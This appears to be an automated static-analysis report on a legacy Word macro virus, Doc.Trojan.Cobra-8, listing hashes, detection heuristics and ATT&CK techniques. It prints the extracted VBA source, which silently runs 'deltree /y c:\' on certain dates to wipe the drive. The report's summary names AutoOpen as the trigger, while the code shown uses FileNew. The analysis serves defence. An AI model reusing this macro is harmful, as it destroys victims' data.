Doc.Trojan.Cobra-8 — Office (OLE) malware analysis

Static analysis result for SHA-256 e90e87ebab473036…

MALICIOUS

Office (OLE)

56.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bd685ed13b0540a0edd7829059eb07d1 SHA-1: 5e7a791a05cc2e7ef1a54d6bc4ae8c66af468c5f SHA-256: e90e87ebab473036c98ed3194df260e5be62d5ba28f66e05d18432035ef38244
200 Risk Score

Malware Insights

Doc.Trojan.Cobra-8 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro is triggered by the AutoOpen event and uses the Shell() function to execute the command 'deltree /y c:\', which attempts to delete local files. This indicates a destructive payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Cobra-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-8
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 395 bytes
SHA-256: 1e949c78f3c83d95a2d0b0efa7bfd521d45785e91b42ca19604f5e929fbe1106
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Cobra"
Sub FileNew()
On Error Resume Next
If Day(Now) = Month(Now) Then
Shell "deltree /y c:\", vbHide
End If
End Sub

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